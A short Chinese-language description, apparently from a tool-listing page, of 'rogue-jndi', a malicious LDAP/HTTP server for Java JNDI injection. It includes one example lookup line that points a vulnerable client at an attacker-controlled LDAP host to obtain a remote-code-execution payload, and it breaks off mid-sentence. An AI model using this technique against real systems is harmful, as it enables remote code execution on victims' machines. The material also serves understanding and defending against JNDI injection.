rogue-jndi

Rogue JNDI 一个用于 JNDI 注入攻击的恶意 LDAP 服务器。 描述 该项目包含用于利用不安全的默认 Java JNDI API 的 LDAP 和 HTTP 服务器。 为了执行攻击，你可以在本地启动这些服务器，然后在存在漏洞的客户端上触发 JNDI 解析，例如： root@kitploit: InitialContext.doLookup"ldap://yourserver.com:1389/o=reference"; 这将从存在漏洞的客户端发起一个到本地 LDAP 服务器的连接。然后，本地服务器会响应一个包含其中一个 payload 的恶意条目，该条目可用于实现远程代码执...